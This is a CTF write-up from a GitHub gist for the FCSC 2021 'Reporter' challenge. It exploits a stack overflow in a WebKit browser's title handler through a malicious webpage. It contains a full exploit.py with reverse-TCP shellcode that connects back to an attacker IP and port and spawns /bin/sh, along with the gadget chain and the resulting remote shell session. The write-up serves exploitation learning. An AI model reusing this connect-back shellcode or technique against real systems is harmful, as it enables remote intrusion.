Skip to content

Instantly share code, notes, and snippets.

@vic511
Last active May 3, 2021 16:08
Show Gist options
  • Select an option

  • Save vic511/7804b6fb34d9629cfadc0cd7725b739d to your computer and use it in GitHub Desktop.

Select an option

Save vic511/7804b6fb34d9629cfadc0cd7725b739d to your computer and use it in GitHub Desktop.
FCSC 2021 quals - Reporter pwn challenge

Reporter writeup

We are facing an ELF 64-bit binary.

$ checksec fcsc_browser
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

It has very few security mitigations, if any. We notice the presence of RWX segments. readelf(1) tells us the stack is both writable and executable.

Vulnerability analysis

The binary is not stripped, making the reverse-engineering process way easier. This is a WebKit-based browser written in C++. There are a lot of functions generated for C++ templated types, which we can safely ignore.

We need to find a vulnerability that can be triggered by a malicious webpage, allowing code execution on the browser (via the reported link). My first intuition was to look after browser-specific javascript functions or event handling.

We notice a Browser C++ class being the main component of the program, interacting with the WebKit library. Looking at Browser::create_new_webview(), we notice the events being registered to the webview as callback functions. Among them is an event named notify::title, called when the title of the webview is changed.

The callback function webview_title_change() first decodes the new title, translating it from UTF-8 to raw bytes. It then calls another addBrowser() function, updating the title parameter to add a prefix specific to the browser.

This function contains a local variable used to store the new title for a maximum length of 128 bytes. A prefix is being copied before the updated webpage title, partially stored in the app_name global variable, initialized to "FCSC Browser" at runtime, followed by the literal string " - ".

There is no size check for the new title being copied into the local stack buffer. Here is a reconstructed C++ pseudocode.

Glib::ustring *addBrowser(Glib::ustring *result, std::string const &title)
{
    char tmp_title[128];

    // Reset buffer
    memset(tmp_title, 0, sizeof tmp_title);
    // Copy 
    memcpy(tmp_title, app_name.c_str(), app_name.size());
    memcpy(tmp_title + app_name.size(), " - ", 3);
    memcpy(tmp_title + app_name.size() + 3, title.c_str(), title.size());

    // Most likely a compiler optimization to avoid moving return value
    new (result) Glib::ustring(tmp_title);
    return result;
}

Exploitation

This vulnerability is pretty straightforward to trigger, considering no mitigations are present: no PIE, no NX, no stack canary. I had a few ideas, such as directly return to the stack buffer to execute a shellcode, or trigger a ROP chain to gain remote code execution.

But first, we need to take control over the saved rip register. The epilogue of addBrowser() is the following:

add rsp, 128
pop rbx
pop r12
pop rbp
ret

This is the stack layout:

-128           RBP    8     16    24    32
  +-------------+-----+-----+-----+-----+
  |  tmp_title  | rbx | r12 | rbp | rip |
  +-------------+-----+-----+-----+-----+

In order to trigger this vulnerability, we need to create a webpage updating the title to an arbitrary value. The offset to overwrite saved rip is 128 + 24 = 144.

<script>
const PREFIX = 'FCSC Browser - ';
const OFFSET = 128 + 24 - PREFIX.length;
// Overwriting saved RIP with 0xdeadbeefcafebabe
document.title = Array(OFFSET).join('A') + '\xbe\xba\xfe\xca\xef\xbe\xad\xde';
</script>

We consider ASLR as being enabled on the target system, hence return-oriented programming seems the way to go to gain code execution.

We quickly notice an issue when writing an exploit: a null byte in our payload will be considered as the end of the new title by the notify::title event, forcing us to use a single ROP gadget.

Problem: on my Debian 10 distribution, a security mitigation seems to avoid the heap to become executable the same way the actual target system does (Ubuntu). This made me lose hours trying to look for a one-shot gadget allowing to directly return to the tmp_title stack buffer, without success.

After noticing the heap is actually executable on the target system, we need to take a look at all the ROP gadgets available using a tool such as ropper.

Using GDB to dump the current program state is very helpful to select the gadgets revelant to the exploitation context. The following GDB script is used.

file fcsc_browser

# Specific to GEF
tmux-setup

set $ret_addr = 0x407F82
# Break before overflowing
break *$ret_addr

# Helper function
def solve
    # Generate 'solve.html' with javascript payload
    shell ./solve.py
    run http://localhost:8000/solve.html
end

We generate a De Bruijn sequence (using pwnlib's cyclic() function) to quickly notice what our payload gives us control over.

$rax   : 0x00007fffffffcef0  →  0x0000000000918950  →  "FCSC Browser - aaaabaaacaaadaaaeaaafaaagaaahaaaiaa[...]"
$rbx   : 0x6662616165626161 ("aabeaabf"?)
$rcx   : 0x0000000000612058  →  0x0000000000789850  →  0x00000000009e99b0  →  0x00000000008715b0  →  0x0000000000871790  →  0x00000000008717c0  →  0x0000000000000000
$rdx   : 0xa0
$rsp   : 0x00007fffffffcec8  →  "aabkaabl"
$rbp   : 0x6a62616169626161 ("aabiaabj"?)
$rsi   : 0x00007fffffffce30  →  "FCSC Browser - aaaabaaacaaadaaaeaaafaaagaaahaaaiaa[...]"
$rdi   : 0x0000000000918950  →  "FCSC Browser - aaaabaaacaaadaaaeaaafaaagaaahaaaiaa[...]"
$rip   : 0x0000000000407f82  →  <addBrowser(std::__cxx11::basic_string<char,+0> ret
$r8    : 0x00007ffff28f7ea0  →  0x0101010101010101
$r9    : 0x000000000074fb30  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$r10   : 0xfffffffffffff1ce
$r11   : 0x00007ffff1ec67c0  →  <std::__cxx11::basic_string<char,+0> mov rax, QWORD PTR [rdi]
$r12   : 0x6862616167626161 ("aabgaabh"?)
$r13   : 0x00007fffffffd190  →  0x000000000098d940  →  0x0000000000000002
$r14   : 0x00007fffffffd110  →  0x0000052d00000001
$r15   : 0x00007ffff3fbfa30  →  <g_cclosure_marshal_VOID__PARAM+0> cmp edx, 0x2
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x407f7d <addBrowser(std::__cxx11::basic_string<char,+0> add    BYTE PTR [rbx+0x41], bl
     0x407f80 <addBrowser(std::__cxx11::basic_string<char,+0> pop    rsp
     0x407f81 <addBrowser(std::__cxx11::basic_string<char,+0> pop    rbp
 →   0x407f82 <addBrowser(std::__cxx11::basic_string<char,+0> ret

Some interesting values will greatly help us building a working exploit:

  • rax holds a stack address pointing to a heap address storing the new window title, hence our payload.
  • We totally control the rbx, r12 and rbp registers, as we have already seen when looking at the function epilogue.

We can now look at ropper found gadgets, hoping to find the ultimate truth among those crazy assembly lines. Long story short, a very interesting gadget appears:

0x0000000000403e67 : add byte ptr [rax], bl ; jmp qword ptr [rax]

We have a complete control over bl (rbx register), and this allows us to shift the heap buffer pointed by rax to the start of our payload, and directly jump to it. Amazing uh?

We can now build a working exploit using a coquillage inversé TCP shellcode. See file exploit.py for the final exploit generation script using pwnlib.

We host a temporary HTTP server on a server, and send the solve.html page link through the report form. The page is quickly being retreived, and a TCP reverse shell connection is successfully made to our listening socket, allowing us to retreive the content of the flag file.

$ nc -lvp 1337
Connection from 151.80.29.148:33630
ls -la
total 140
drwxr-xr-x 1 root  root    4096 Apr 21 13:48 .
drwxr-xr-x 1 root  root    4096 Apr 23 12:46 ..
-rwxr-xr-x 1 admin admin 112984 Apr 21 13:46 fcsc_browser
-rw-r--r-- 1 admin admin     71 Apr 21 13:45 flag
-rw-r----- 1 admin admin    915 Apr 21 13:45 main.py
-rwxr-xr-x 1 admin admin    227 Apr 21 13:45 run.sh
drwxr-x--x 1 admin admin   4096 Apr 21 13:48 static
drwxr-x--x 1 admin admin   4096 Apr 21 13:48 templates
cat flag
FCSC{da8089fd6e7a40288a64f88b6a1a8027457206dffbfb28a5c8489a4e1c866e08}
#!/usr/bin/env python3
from pwn import *
OUT = args.get('OUT', 'solve.html')
IP = bytes(int(n) for n in args.get('IP', '127.1.1.1').split('.'))
PORT = p16(int(args.get('PORT', '1337'), base=0), endian='big')
PREFIX = 'FCSC Browser - '
RBX_OFFSET = 0x90 - len(PREFIX)
'''
add byte ptr [rax], bl ; jmp qword ptr [rax]
$rax : 0x00007fffffffcef0 → 0x0000000000897200 → "FCSC Browser - aaaa..."
$rbx : 0x6662616165626161
gef➤ x/s *(char **)$rax + 0xf
0x89720f: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa..."
'''
ADD_BYTE_RAX_BL_JMP_RAX = 0x403e67
RAX_PTR_OFFSET = len(PREFIX)
SHELLCODE = (
b'\x68' + IP + b'\x66\x68' + PORT + b'\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29'
b'\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48'
b'\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02'
b'\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6'
b'\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05')
HTML_TPL = '<script>document.title = {buffer};</script>'
def gen_payload():
assert SHELLCODE.find(0x00) == -1, 'Shellcode contains null bytes'
chain = [
# pop rbx
0xdeadbeefcafeba00 | RAX_PTR_OFFSET,
# pop r12
0x0123456789abcdef,
# pop rbp,
0xbab1b0b4b1beb8b6,
# pop srip
ADD_BYTE_RAX_BL_JMP_RAX,
]
payload = SHELLCODE.rjust(RBX_OFFSET, b'\x90')
payload += b''.join(p64(n) for n in chain)
return payload
def main():
payload = gen_payload()
html = HTML_TPL.format(buffer=repr(payload)[1:])
with open(OUT, 'w') as fp:
fp.write(html)
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment